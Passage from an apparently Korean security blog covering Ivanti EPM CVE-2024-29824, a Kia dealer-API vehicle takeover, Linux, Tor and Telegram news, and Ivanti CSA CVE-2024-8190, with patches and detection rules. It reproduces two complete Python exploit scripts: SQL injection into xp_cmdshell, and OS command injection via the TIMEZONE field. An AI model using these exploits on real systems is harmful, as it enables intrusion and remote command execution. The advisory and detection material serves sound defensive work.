2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. 개요

- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1]
- 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능
- 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음

 

2. 주요 내용

- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석
> 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음

※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달
※ 앱은 해당 API에 직접 액세스

 

- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청

[사진 1] 요청 예시

- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달

> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID

[사진 2] 요청 예시

2.1 Kia 딜러 인프라 취약점

- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견

> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음

https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3

 

- 해당 URL을 로드하면 토큰의 유효성을 확인하는 HTTP 요청이 전송

> 딜러 사이트의 요청 URI가 owners 사이트와 동일한 /apps/services/kdealer/apigwServlet.html

> 딜러용 내부 API로 요청을 전달하는 프록시가 있을 것으로 예상

[사진 3] 토큰 유효성 검사

- JavaScript를 확인한 결과 딜러 차량 조회, 계정 조회, 등록, 해지 등 직원 전용 기능을 가진 API 호출 발견

> 소유한 차량의 VIN으로 API 앤드포인트에 접근해 보았으나, 401 Unauthorized 반환

dealerVehicleLookUp() {
    this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
        vin: this.vinToEnroll
    }, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
        i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
    })
}

 

2.2 일반 계정으로 딜러 API 접근

- 딜러 웹 사이트에서 새로운 계정을 생성해 액세스 토큰을 생성한 뒤 API 접근 시도

> 딜러 사이트에서 owners 사이트와 동일한 방식으로 사용자 등록을 시도한 결과 200 OK 반환

> 이후 로그인하여 액세스 토큰 생성 VIN 조회 API 호출 결과 차량 소유주 이름, 전화번호, 이메일 주소 반환

> 일반 자격 증명과 수정된 채널 헤더를 사용하면 모든 딜러용 API에 접근할 수 있다는 것을 의미

 

2.3 차량 무단 접근

- JavaScript를 살펴본 결과 차량 등록, 해지, 수정 엔드포인트가 어떻게 동작하는지 파악

[사진 4] 차량 무단 접근

- 다음 4단계를 거치면 차량에 무단 접근이 가능하며, 피해자는 차량 접근 알림이나 권한 변경 사실을 알지 못함

> 번호판을 통해 VIN을 알아낸 뒤 API를 이용해 추적, 잠금 해제, 시동 걸기, 경적 울리기 등의 명령을 수행할 수 있음

① 딜러 토큰 생성 및 HTTP 응답에서 “token” 헤더 추출

- authUser 엔드포인트를 통해 인증하여 세션 토큰 획득

[사진 5] 딜러 토큰 생성

② 피해자의 이메일 주소 및 전화번호 알아내기

- 추가된 세션 토큰 헤더를 통해 kiaconnect.kdealer.com 웹사이트의 모든 딜러 엔드포인트에 접속 및 피해자의 이름, 전화번호, 이메일을 검색할 수 있음

[사진 6] 피해자 정보 조회

③ 유출된 이메일 주소와 VIN으로 기존 소유자의 접근 권한 수정

- 이전 단계에서 얻은 이메일을 이용해 공격자를 기본 계정 소유자로 추가

[사진 7] 차량 소유주 접근 권한 수정

④ 공격자를 차량의 새로운 소유자로 추가

- 공격자의 이메일을 이용해 차량의 소유자로 추가 및 이를 통해 차량에 임의 명령을 보낼 수 있음

[사진 8] 공격자 추가

2.3 PoC용 대시보드 제작

- 공격자는 (1) Kia 차량의 번호판을 입력하고 (2) 소유주 개인 식별 정보를 가져온 뒤 (3) 차량 제어 명령을 실행할 수 있는 개념 증명용 대시보드 개발

- 차량 무단 접근을 시도하는 Exploit 페이지명령 전달과 위치를 추적하는 Garage 페이지로 구성

> 잠긴 Kia 렌트카를 대상으로 테스트 및 문 잠금/해제, 시동 켜기/끄기, 경적 울리기, 위치 추적에 성공

[영상 1] PoC [2]

- 해당 취약점을 Kia에 제보 및 수정 완료

> PoC 도구는 공개되지 않았으며, Kia는 취약점이 악의적으로 악용되지 않았음을 확인

3. 참고

[1] https://samcurry.net/hacking-kia#targeting-kia-dealer-infrastructure
[2] https://www.youtube.com/watch?v=jMHFCpQdZyg
[3] https://news.hada.io/topic?id=16961
[4] https://www.boannews.com/media/view.asp?idx=133232&page=1&kind=1
[5] https://www.dailysecu.com/news/articleView.html?idxno=159771

요약 - GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견
- 현재까지 원격 코드 실행이 가능하다는 것만 알려져 있으며, 다음 주 중 공개 예상
내용 - 모든 GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견
> 공격자가 취약한 기기를 제어할 수 있게 해줌
> 다음 주 중 전체 공개 예상
> 심각성에도 불구하고 아직 CVE가 할당되지 않음
> 취약성의 특정 측면이 보안 위험을 초래하는지 논의 중

- 연구진들을 해당 취약성과 Log4j/Log4Shell(CVE-2021-44228) 취약성과 유사점을 발견
> 리눅스 환경이기에 취약성 범위와 피해범위는 파괴적일 것

- 결과가 나오는 동안 조직에 어떤 리눅스 및 GNU 요소들이 사용되고 있는지 파악해 두는 게 안전
> SBOM을 조사하여 취약한 부분을 파악하고 패치할 준비를 해야함
기타 -

 

보안뉴스

 

10년 넘은 리눅스 취약점 발견돼...세부 내용은 다음 주에 공개

보안 외신 핵리드에 의하면 10년 넘은 취약점이 이제야 발견됐다고 한다. 심지어 심각도 점수가 9.9점일 정도로 위험한 취약점인데 아무도 모른 채 10년을 지낸 것이라고 한다. GNU 및 리눅스 시스

www.boannews.com

 

Old Vulnerability Rated 9.9 Impacts All GNU/Linux Systems, Researcher Claims

Follow us on Twitter (X) @Hackread - Facebook @ /Hackread

hackread.com

 

요약 - 독일 경찰, 범죄자 체포에 토르 네트워크 해킹 주장
- 텔레그램, 법적 요청 시 사용자 정보 제공 결정
내용 - 독일 방송사 파노라마 및 유튜브 채널 STRG_F
> 독일 경찰이 토르 네트워크를 해킹해 범죄자를 체포했다 주장
> 그러나, 독일 경찰이 토르를 해킹한 방법에 관한 내용에 대해서는 아무런 설명을 하지 않음
> 토르의 익명성 기능에 대한 의구심 증가

- 토르 프로젝트, 아직까지 토르가 직접 침해됐다는 증거는 없는 상황 입장문 발표

① 가능성 1
> 경찰이 토르를 뚫어낸 것은 범인들이 Ricochet(P2P 인스턴트 메시징 프로그램)을 사용했기 때문이 가능성이 높다
> Ricochet은 이미 오래 전 지원이 중단된 앱이기 때문에 취약점 익스플로잇 등을 통해 침해하는 게 가능하다는 것

② 가능성 2
> 또는, 가드 노드 공격(guard node discovery attack) 기법을 사용 했을 가능성 존재
> 토르는 여러 노드들로 구성되어 있으며, 첫 번째 중계를 담당하는 노드를 가드노드라 함
> 가드노드를 발견한다면 사용자의 실제 IP 주소를 알아낼 수 있는 것으로 알려짐
> 토르는 해당 문제점을 2018년에 이미 수정했으며, 범죄자가 이 수정법을 적용하지 않았을 가능성 존재
===============================================================================
- 텔레그램 개인정보보호 정책 변경
> 사용자들의 전화번호와 IP 주소를 법적 요청에 따라 제공하기로 변경
> 플랫폼 규정을 위반한 사용자에 대해 유효한 법적 요청이 있을 경우에 한해서만 적용
※ 이전 정책: 테러 용의자와 관련된 경우에만 사용자 데이터를 공유

- 투명성을 유지하기 위해 사용자 데이터가 공유된 모든 경우를 분기별 보고서에 포함시킬 예정
> hxxps://t[.]me/transparency를 통해 액세스할 수 있도록 할 예정
> 현재는 업데이트 진행 중이며, 아직 해당 봇은 정상적으로 작동하지 않고 있음

- 플랫폼 내 불법 활동을 방지하기 위한 조치 또한 강화
> 검색 결과에서 문제 있는 콘텐츠 제거 진행 및 불법 콘텐츠와 관련된 검색어 철저히 검토 예정
> 사용자들은 @SearchReport 봇을 통해 불법 또는 위험 콘텐츠 신고 가능
기타 - 토르 브라우저의 위험을 줄이는 방법
> VPN 사용 : 토르 브라우저의 익명성 보장은 완전하지 않으므로 VPN을 적용할 경우 추적이 어려워짐
> 신뢰 가능한 사이트만 방문 : 토르 브라우저라고 해서 악성 링크나 첨부파일을 자동으로 막아주지 않으므로 기본 보안 수칙 유지
> 보안 프로그램 사용 : 보안 프로그램을 늘 활성화

- 우크라이나 국가 사이버보안 조정센터
> 국가 보안 문제를 이유로 정부 기관, 군 부대, 주요 인프라에서 텔레그램 사용 금지

- 텔레그램 정책 변화에 대한 견해
> 플랫폼의 책임성을 높인다는 긍정적 견해
> 사용자 프라이버시와 정부의 과도한 접근 가능성에 대한 우려

- 프라이버시에 민감한 사용자들은 더 강력한 데이터 보호 정책을 가진 메시징 앱인 시그널(Signal)과 같은 플랫폼을 사용할 것을 권고

- 어떤 플랫폼에서든 개인정보 공유 시 신중을 기할 것 강조 및 정책 변경 등의 변경이 있음을 유념해야 함

 

보안뉴스

 

독일 경찰이 정말로 토르 네트워크를 뚫었을까?

지난 주 독일의 방송사인 파노라마(Panorama)와 유튜브 채널 STRG_F가 폭탄 선언을 했다. 독일 경찰이 2021년 다크웹에서 활동하던 범죄자들을 체포하기 위해 토르(Tor)라는 익명화 기술을 깨버렸다는

www.boannews.com

 

텔레그램, 법적 요청 시 사용자 정보 제공 결정...개인정보보호 정책 변경 - 데일리시큐

텔레그램이 개인정보 보호에 대한 강력한 입장을 유지해오던 가운데, 최근 정책을 변경하며 사용자들의 전화번호와 IP 주소를 법적 요청에 따라 제공하기로 했다. 이번 결정은 플랫폼 규정을 위

www.dailysecu.com

 

 

1. CVE-2024-8190

[사진 1] CVE-2024-8190 [1]

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

 

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

[사진 2] DateTimeTab.php setSystemTimezone()

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

[사진 3] setSystemTimezone()

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

[사진 4] 익스플로잇 예시

1.1 CVE-2024-8963

[사진 5] CVE-2024-8963 [4]

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

 

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

취약점 영향받는 버전 해결 버전
CVE-2024-8190 Ivanti CSA 4.6 CSA 5.0 (권장)
CVE-2024-8963 CSA 4.6 패치 519

 

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html

+ Recent posts